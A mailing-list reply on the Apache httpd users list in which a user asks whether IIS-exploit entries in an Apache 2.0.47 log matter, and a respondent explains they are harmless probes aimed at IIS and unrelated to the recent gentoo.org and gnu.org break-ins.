Re: [users@httpd] error messeges in my log

To all:

I am running Apache 2.0.47 on RH9 I have been getting these error
messages in my log for quite some time but I haven't been too concerned
about it because they seem to have to do with MSIIS vulnerabilities but
is that actually true, with the new found attacks on the gentoo.org and
gnu.org servers lately I am re-investigating this to see if it needs
addressing. Have any of you found this problem as well, and if so what
did you do if anything to make it stop?

I have included a paste of my log to show you what I am talking about.

I know that the users just get a 404 error but is that all?

None of the recent attacks were on HTTP server software.  From what I've
read, they were through a sniffed password, a hole in rsyncd, and a linux
kernel flaw.

This doesn't mean, of course, that flaws in apache are not possible.  But
your log clearly shows an IIS attack, so there is no need to worry.
